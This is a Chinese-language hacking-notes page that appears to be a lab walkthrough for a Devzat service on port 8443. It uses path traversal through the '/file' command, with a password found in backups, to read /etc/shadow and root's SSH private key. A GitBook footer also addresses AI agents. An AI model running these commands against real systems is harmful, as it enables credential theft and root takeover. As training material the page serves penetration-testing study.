> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/devzat-8443.md).

# Devzat - 8443

### 8443 端口（Devzat - 生产环境）

8443端口暴露了一个生产环境的 Devzat 实例。该 `文件` 参数可以以 root 身份列出系统上的文件，但此功能受密码保护。

<figure><img src="/files/226078cf84f2ca4d2098b6ffd09d3803ec431026" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3fffce705bce2f3b241a8ebc817c5624daf019b2" alt=""><figcaption></figcaption></figure>

尝试 *catherine*的密码尝试失败。搜索那些 *catherine* 可以在系统上读取的文件。

<figure><img src="/files/7e99c4d42fc0fc70f9f5c3c9118291d95dbceb74" alt="" width="538"><figcaption></figcaption></figure>

### 搜索 Catherine 可读的文件

查找所有可被 *catherine*:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

找到两个备份 `.zip` 文件：

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

下载备份文件 `devzat-dev.zip` 并筛选其中的密码。找到了一个有用的密码： **`CeilingCatStillAThingIn2021?`**.

<figure><img src="/files/fe5321b286d64ac1da4f91ba5dbd677b7f0d2551" alt=""><figcaption></figcaption></figure>

使用此密码访问 `/etc/shadow` 通过 `文件` 参数：

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

虽然密码正确， **路径遍历** 但要获得完全访问权限还需要。使用遍历来浏览文件系统：

<figure><img src="/files/75950cd961da7e9f6d20299bd8205a27e0d89800" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

该 `/etc/shadow` 文件已成功以 root 身份显示。

<figure><img src="/files/3863513915f080ca5b7ea8172900da2ea56a33f6" alt=""><figcaption></figcaption></figure>

### 以 root 身份通过 SSH 访问

使用额外的路径遍历来访问 root 的 SSH 密钥：

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="/files/07855ab7c59828455b0c68f536bc2e4a649e7045" alt="" width="563"><figcaption></figcaption></figure>

下载 SSH 密钥并以 root 身份登录。

<figure><img src="/files/8805e3cf8d4e1cf2153f012aaba6e90b7b24b018" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/devzat-8443.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
